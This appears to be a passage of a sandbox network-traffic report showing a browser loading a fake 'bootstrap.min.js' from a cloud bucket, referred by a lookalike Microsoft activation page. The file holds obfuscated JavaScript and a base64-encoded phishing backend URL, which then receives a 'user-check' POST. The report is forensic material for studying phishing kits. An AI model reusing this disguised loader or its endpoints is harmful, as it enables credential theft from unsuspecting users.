2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2025-01-14 14:24:05 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.7	49759	43.153.232.152	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:06 UTC	699	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 5863941096-1323985617.cos.ap-singapore.myqcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:06 UTC	502	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553324 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Tue, 14 Jan 2025 14:24:06 GMT ETag: "81622392e189eacda2598816a61116ee" Last-Modified: Mon, 06 Jan 2025 16:36:01 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 17609729713535874758 x-cos-request-id: Njc4NjczODZfMjE4ZjdjMWVfNWM0OF8yN2ZjNjU5 x-cos-storage-class: MAZ_STANDARD x-cosindex-replication-status: Complete
2025-01-14 14:24:06 UTC	7702	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 38 31 4f 44 59 7a 4f 54 51 78 4d 44 6b 32 4c 6d 78 6c 5a 32 46 73 59 6e 56 7a 61 57 35 6c 63 33 4e 6d 5a 57 52 6c 63 6d 46 73 4c 6d 4e 76 62 53 39 75 5a 58 68 30 4c 6e 42 6f 63 41 3d 3d 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 35 61 32 61 34 3d 5f 30 78 32 63 31 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 62 31 39 28 29 7b 76 61 72 20 5f 30 78 34 39 36 36 65 31 3d 5b 27 78 2d 6c 67 2d 72 6f 77 5c 78 32 30 7b 27 2c 27 63 6f 6c 6f 72 3a 5c 78 32 30 74 72 61 27 2c 27 64 69 76 5c 78 32 30 69 64 3d 5c 78 32 32 6d 61 27 2c 27 2d 6c 67 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 7e 2e 76 61 6c 69 64 2d 74 6f 27 2c 27 31 7c 34 7c 30 7c 32 7c 36 7c 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 31 2e Data Ascii: var file = "aHR0cHM6Ly81ODYzOTQxMDk2LmxlZ2FsYnVzaW5lc3NmZWRlcmFsLmNvbS9uZXh0LnBocA==";var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.
2025-01-14 14:24:06 UTC	8184	IN	Data Raw: 5c 78 32 30 32 35 27 2c 27 6f 6e 3a 5c 78 32 30 63 6f 6c 75 6d 6e 27 2c 27 61 6e 64 5c 78 32 30 2e 6e 61 76 62 61 27 2c 27 2c 5c 78 32 30 2e 63 6f 6c 2d 36 2c 5c 78 32 30 27 2c 27 7d 5c 78 32 30 2e 70 62 2d 78 6c 2d 32 27 2c 27 46 78 45 79 49 79 67 51 67 55 27 2c 27 68 5d 2c 5c 78 32 30 69 6e 70 75 74 5b 27 2c 27 2d 77 65 62 6b 69 74 2d 73 65 27 2c 27 5c 78 32 30 2e 35 29 5c 78 32 30 7d 5c 78 32 30 2e 63 75 27 2c 27 6f 70 6f 76 65 72 2d 61 75 74 27 2c 27 6c 69 6e 65 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 27 2c 27 5c 78 32 30 31 33 3b 5c 78 32 30 6f 72 64 65 72 27 2c 27 75 74 74 6f 6e 5c 78 32 32 5c 78 32 30 63 6c 61 27 2c 27 69 67 68 74 3a 5c 78 32 30 31 30 37 70 27 2c 27 23 5c 78 32 30 73 6f 75 72 63 65 4d 61 27 2c 27 31 30 30 25 5c 78 32 30 7d 5c 78 32 30 Data Ascii: \x2025','on:\x20column','and\x20.navba',',\x20.col-6,\x20','}\x20.pb-xl-2','FxEyIygQgU','h],\x20input[','-webkit-se','\x20.5)\x20}\x20.cu','opover-aut','line:\x200;\x20o','\x2013;\x20order','utton\x22\x20cla','ight:\x20107p','#\x20sourceMa','100%\x20}\x20
2025-01-14 14:24:06 UTC	8184	IN	Data Raw: 6f 74 27 2c 27 63 6f 6c 2d 73 6d 2d 39 5c 78 32 30 7b 27 2c 27 5c 78 32 32 3e 5c 78 32 30 3c 64 69 76 5c 78 32 30 63 6c 27 2c 27 69 6d 61 72 79 5c 78 32 30 68 72 5c 78 32 30 7b 27 2c 27 79 61 76 37 33 57 7a 52 39 59 27 2c 27 74 28 3a 6c 61 73 74 2d 63 68 27 2c 27 64 65 72 3a 5c 78 32 30 38 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 6c 69 64 5c 78 32 30 23 64 65 65 32 65 27 2c 27 61 63 65 2d 61 72 6f 75 6e 64 27 2c 27 75 73 2c 5c 78 32 30 61 2e 62 67 2d 77 27 2c 27 61 28 30 2c 5c 78 32 30 31 32 33 2c 5c 78 32 30 27 2c 27 53 79 6d 62 6f 6c 5c 78 32 32 3b 5c 78 32 30 2d 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 5c 78 32 30 21 69 27 2c 27 5c 78 32 37 2c 5c 78 32 37 53 65 67 6f 65 5c 78 32 30 55 27 2c 27 61 6c 65 72 74 2d 6c 69 67 68 27 2c 27 6e 64 65 78 3a 5c 78 32 Data Ascii: ot','col-sm-9\x20{','\x22>\x20<div\x20cl','imary\x20hr\x20{','yav73WzR9Y','t(:last-ch','der:\x208\x20}\x20.','lid\x20#dee2e','ace-around','us,\x20a.bg-w','a(0,\x20123,\x20','Symbol\x22;\x20-','on:\x20row\x20!i','\x27,\x27Segoe\x20U','alert-ligh','ndex:\x2
2025-01-14 14:24:06 UTC	8184	IN	Data Raw: 65 62 6b 27 2c 27 37 35 72 65 6d 5c 78 32 30 31 2e 32 35 27 2c 27 64 65 35 5c 78 32 30 7d 5c 78 32 30 2e 74 61 62 27 2c 27 3a 5c 78 32 30 33 39 2e 33 33 33 33 70 27 2c 27 2e 63 6f 6c 2d 32 2c 5c 78 32 30 2e 63 27 2c 27 73 3d 5c 78 32 32 69 6d 67 2d 66 6c 75 27 2c 27 50 4a 53 64 63 27 2c 27 64 69 6e 67 2d 74 6f 70 3a 5c 78 32 30 27 2c 27 64 2d 63 6c 69 70 3a 5c 78 32 30 62 6f 27 2c 27 32 35 35 2c 5c 78 32 30 2e 32 35 29 5c 78 32 30 27 2c 27 35 3b 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 74 65 6e 74 3a 5c 78 32 30 63 65 6e 74 27 2c 27 31 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 35 72 65 27 2c 27 4e 43 4c 4d 75 27 2c 27 69 76 3e 5c 78 32 30 3c 2f 66 6f 72 6d 27 2c 27 74 65 72 6c 69 6d 69 74 3d 5c 78 32 37 Data Ascii: ebk','75rem\x201.25','de5\x20}\x20.tab',':\x2039.3333p','.col-2,\x20.c','s=\x22img-flu','PJSdc','ding-top:\x20','d-clip:\x20bo','255,\x20.25)\x20','5;\x20order:\x20','tent:\x20cent','10\x20{\x20margi','ttom:\x20.5re','NCLMu','iv>\x20</form','terlimit=\x27
2025-01-14 14:24:06 UTC	8184	IN	Data Raw: 5c 78 32 30 6d 61 72 67 69 27 2c 27 6f 6c 74 69 70 2c 5c 78 32 30 2e 66 6f 27 2c 27 6d 64 2d 30 2c 5c 78 32 30 2e 70 78 2d 27 2c 27 2c 5c 78 32 30 68 33 5c 78 32 30 7b 5c 78 32 30 70 61 67 27 2c 27 75 70 3e 2e 63 61 72 64 3a 6f 27 2c 27 31 31 3b 26 23 33 32 3b 26 23 27 2c 27 2d 6e 61 76 5c 78 32 30 2e 64 72 6f 70 27 2c 27 5c 78 32 30 31 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 64 65 27 2c 27 33 33 33 33 33 25 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 5b 68 72 65 66 5d 3a 68 6f 76 27 2c 27 2d 70 6f 70 6f 76 65 72 2d 74 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 2d 72 65 27 2c 27 2e 74 61 62 6c 65 5c 78 32 30 74 68 65 27 2c 27 43 63 65 62 59 27 2c 27 74 69 70 6c 65 5d 29 2c 5c 78 32 30 2e 27 2c 27 23 6c 6f 61 64 65 72 27 2c 27 43 6f 6c 6f 72 5c 78 32 30 45 6d 6f 6a 27 Data Ascii: \x20margi','oltip,\x20.fo','md-0,\x20.px-',',\x20h3\x20{\x20pag','up>.card:o','11; &#','-nav\x20.drop','\x201\x20}\x20.orde','33333%\x20}\x20.','[href]:hov','-popover-t','on:\x20row-re','.table\x20the','CcebY','tiple]),\x20.','#loader','Color\x20Emoj'
2025-01-14 14:24:06 UTC	8184	IN	Data Raw: 32 30 61 75 74 6f 5c 78 32 30 27 2c 27 5c 78 32 30 38 30 25 3b 5c 78 32 30 66 6f 6e 74 27 2c 27 69 6e 6b 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 27 2c 27 66 6f 63 75 73 2c 5c 78 32 30 61 2e 62 27 2c 27 6f 6e 65 3b 5c 78 32 30 62 61 63 6b 67 27 2c 27 5c 78 32 30 23 64 65 65 32 65 36 5c 78 32 30 21 27 2c 27 7d 5c 78 32 30 61 2e 74 65 78 74 2d 73 27 2c 27 6e 64 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 3a 5c 78 32 30 23 31 37 31 61 31 64 5c 78 32 30 27 2c 27 3d 5c 78 32 32 62 6f 78 5c 78 32 32 5c 78 32 30 69 64 3d 27 2c 27 69 63 61 6c 3e 2e 62 74 6e 3a 27 2c 27 2d 78 6c 2d 31 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 73 68 6f 77 3e 2e 6e 61 76 2d 27 2c 27 6c 28 5c 78 32 32 64 61 74 61 3a 69 6d 27 2c 27 73 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 3a Data Ascii: 20auto\x20','\x2080%;\x20font','ink\x20{\x20colo','focus,\x20a.b','one;\x20backg','\x20#dee2e6\x20!','}\x20a.text-s','nd\x20{\x20-webk',':\x20#171a1d\x20','=\x22box\x22\x20id=','ical>.btn:','-xl-1\x20{\x20-w','show>.nav-','l(\x22data:im','s\x20{\x20color:
2025-01-14 14:24:06 UTC	8184	IN	Data Raw: 72 73 65 5c 78 32 30 21 69 6d 70 6f 27 2c 27 5c 78 32 30 7b 5c 78 32 30 68 65 69 67 68 74 3a 27 2c 27 2d 66 6c 65 78 3a 5c 78 32 30 30 5c 78 32 30 31 27 2c 27 35 38 36 61 35 64 2e 73 76 67 27 2c 27 2d 6c 69 6e 65 2d 70 61 63 6b 27 2c 27 72 6f 75 70 5c 78 32 30 7b 5c 78 32 30 6d 61 72 27 2c 27 74 79 3a 5c 78 32 30 2e 39 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 67 69 6e 3a 5c 78 32 30 2e 35 72 65 6d 27 2c 27 6c 74 69 70 5c 78 32 30 7b 5c 78 32 30 70 6f 73 27 2c 27 6c 74 69 70 2c 5c 78 32 30 2e 77 61 73 27 2c 27 3d 63 68 65 63 6b 62 6f 78 5d 27 2c 27 7b 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 27 2c 27 6e 61 34 65 4c 6a 35 4f 58 6d 27 2c 27 6b 69 64 61 4d 27 2c 27 74 69 70 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 27 2c 27 2c 5c 78 32 30 36 33 70 78 29 5c 78 32 30 72 Data Ascii: rse\x20!impo','\x20{\x20height:','-flex:\x200\x201','586a5d.svg','-line-pack','roup\x20{\x20mar','ty:\x20.9\x20}\x20.','gin:\x20.5rem','ltip\x20{\x20pos','ltip,\x20.was','=checkbox]','{\x20margin-l','na4eLj5OXm','kidaM','tip\x20{\x20disp',',\x2063px)\x20r
2025-01-14 14:24:06 UTC	8184	IN	Data Raw: 2c 27 63 35 34 36 30 3b 5c 78 32 30 62 61 63 27 2c 27 6c 6c 5c 78 32 30 7b 5c 78 32 30 66 6f 6e 74 2d 27 2c 27 6f 64 79 5c 78 32 30 74 72 3a 68 6f 76 27 2c 27 73 69 7a 65 3a 31 32 70 74 3b 27 2c 27 3c 6d 65 74 61 5c 78 32 30 6e 61 6d 65 27 2c 27 6f 43 49 58 6c 27 2c 27 38 2e 33 33 33 33 33 33 25 3b 27 2c 27 69 6e 70 75 74 2e 69 73 2d 69 27 2c 27 5b 74 79 70 65 3d 6d 6f 6e 74 27 2c 27 74 2d 69 6e 6c 69 6e 65 2d 69 27 2c 27 61 73 5c 78 32 30 66 61 2d 61 72 72 6f 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 32 35 72 27 2c 27 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 31 31 27 2c 27 65 66 74 2d 72 61 64 69 75 73 27 2c 27 36 77 52 34 33 4e 36 6b 39 54 27 2c 27 2d 67 72 6f 75 70 2d 70 72 65 27 2c 27 6e 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 27 2c 27 37 68 32 32 4d 34 5c Data Ascii: ,'c5460;\x20bac','ll\x20{\x20font-','ody\x20tr:hov','size:12pt;','<meta\x20name','oCIXl','8.333333%;','input.is-i','[type=mont','t-inline-i','as\x20fa-arro','ttom:\x20.25r','\x20order:\x2011','eft-radius','6wR43N6k9T','-group-pre','n:\x20normal;','7h22M4\
2025-01-14 14:24:06 UTC	8184	IN	Data Raw: 27 5c 78 32 30 74 72 61 6e 73 70 61 72 65 27 2c 27 61 63 65 6d 65 5c 78 32 30 76 61 63 75 27 2c 27 64 5c 78 32 30 6c 6f 67 6f 69 6d 67 5c 78 32 32 27 2c 27 6c 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 27 2c 27 3a 5c 78 32 30 23 31 37 61 32 62 38 5c 78 32 30 27 2c 27 66 69 33 69 6c 68 73 56 58 78 27 2c 27 5c 78 32 30 30 3b 5c 78 32 30 7a 2d 69 6e 64 65 27 2c 27 74 3b 5c 78 32 30 74 72 61 6e 73 69 74 27 2c 27 2d 64 69 61 6c 6f 67 5c 78 32 30 7b 5c 78 32 30 27 2c 27 74 69 76 65 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 27 2c 27 64 69 73 70 6c 61 79 3a 5c 78 32 30 66 27 2c 27 6e 67 3a 5c 78 32 30 2e 32 35 72 65 6d 27 2c 27 3a 66 6f 63 75 73 2c 5c 78 32 30 2e 73 27 2c 27 43 41 73 4d 43 77 6f 4d 43 51 27 2c 27 68 69 74 65 3b 5c 78 32 30 7d 5c 78 32 30 7d 5c 78 32 Data Ascii: '\x20transpare','aceme\x20vacu','d\x20logoimg\x22','l-0\x20{\x20marg',':\x20#17a2b8\x20','fi3ilhsVXx','\x200;\x20z-inde','t;\x20transit','-dialog\x20{\x20','tive\x20{\x20col','display:\x20f','ng:\x20.25rem',':focus,\x20.s','CAsMCwoMCQ','hite;\x20}\x20}\x2
2025-01-14 14:24:06 UTC	8184	IN	Data Raw: 32 30 7b 5c 78 32 30 74 6f 70 3a 5c 78 32 30 61 75 27 2c 27 70 61 63 65 2d 62 65 74 77 65 27 2c 27 2d 66 61 6d 69 6c 79 3a 5c 78 32 30 73 27 2c 27 74 2d 67 72 6f 75 70 2d 6c 67 27 2c 27 2d 32 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 70 3e 2e 69 6e 70 75 74 2d 67 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 30 3b 5c 78 32 30 27 2c 27 6d 3a 6c 61 73 74 2d 63 68 69 27 2c 27 66 69 72 73 74 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 2e 35 72 65 6d 3b 5c 78 32 30 70 61 64 27 2c 27 73 65 63 6f 6e 64 61 72 79 3a 27 2c 27 67 3a 6e 6f 74 28 3a 64 69 73 27 2c 27 75 69 64 5c 78 32 30 7b 5c 78 32 30 70 61 64 64 27 2c 27 6d 61 72 67 69 6e 2d 62 6f 74 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 64 72 6f 70 6c 65 27 2c 27 3b 5c 78 32 30 6d 61 72 67 69 6e 2d 74 27 2c 27 62 Data Ascii: 20{\x20top:\x20au','pace-betwe','-family:\x20s','t-group-lg','-2\x20{\x20-webk','p>.input-g','n-top:\x200;\x20','m:last-chi','first\x20{\x20-w','.5rem;\x20pad','secondary:','g:not(:dis','uid\x20{\x20padd','margin-bot','\x20}\x20.drople',';\x20margin-t','b

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.7	49765	69.49.230.198	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:08 UTC	731	OUT	POST /next.php HTTP/1.1 Host: 5863941096.legalbusinessfederal.com Connection: keep-alive Content-Length: 13 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://automtionmscroftsecurityactivation-authenic.appfilevault.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://automtionmscroftsecurityactivation-authenic.appfilevault.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:08 UTC	13	OUT	Data Raw: 64 6f 3d 75 73 65 72 2d 63 68 65 63 6b Data Ascii: do=user-check
2025-01-14 14:24:08 UTC	329	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 14:24:07 GMT Server: Apache Access-Control-Allow-Origin: https://automtionmscroftsecurityactivation-authenic.appfilevault.com Access-Control-Allow-Credentials: true Access-Control-Max-Age: 86400 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2025-01-14 14:24:08 UTC	27	IN	Data Raw: 31 30 0d 0a 7b 22 73 74 61 74 75 73 22 3a 66 61 6c 73 65 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 10{"status":false}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.7	49766	43.153.232.152	443	5608	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 14:24:09 UTC	391	OUT	GET /bootstrap.min.js HTTP/1.1 Host: 5863941096-1323985617.cos.ap-singapore.myqcloud.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 14:24:09 UTC	502	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553324 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Tue, 14 Jan 2025 14:24:09 GMT ETag: "81622392e189eacda2598816a61116ee" Last-Modified: Mon, 06 Jan 2025 16:36:01 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 17609729713535874758 x-cos-request-id: Njc4NjczODlfOWZjZTE3MWRfNTllYl8yOGM0YWEz x-cos-storage-class: MAZ_STANDARD x-cosindex-replication-status: Complete
2025-01-14 14:24:09 UTC	7702	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 38 31 4f 44 59 7a 4f 54 51 78 4d 44 6b 32 4c 6d 78 6c 5a 32 46 73 59 6e 56 7a 61 57 35 6c 63 33 4e 6d 5a 57 52 6c 63 6d 46 73 4c 6d 4e 76 62 53 39 75 5a 58 68 30 4c 6e 42 6f 63 41 3d 3d 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 35 61 32 61 34 3d 5f 30 78 32 63 31 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 62 31 39 28 29 7b 76 61 72 20 5f 30 78 34 39 36 36 65 31 3d 5b 27 78 2d 6c 67 2d 72 6f 77 5c 78 32 30 7b 27 2c 27 63 6f 6c 6f 72 3a 5c 78 32 30 74 72 61 27 2c 27 64 69 76 5c 78 32 30 69 64 3d 5c 78 32 32 6d 61 27 2c 27 2d 6c 67 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 7e 2e 76 61 6c 69 64 2d 74 6f 27 2c 27 31 7c 34 7c 30 7c 32 7c 36 7c 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 31 2e Data Ascii: var file = "aHR0cHM6Ly81ODYzOTQxMDk2LmxlZ2FsYnVzaW5lc3NmZWRlcmFsLmNvbS9uZXh0LnBocA==";var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.
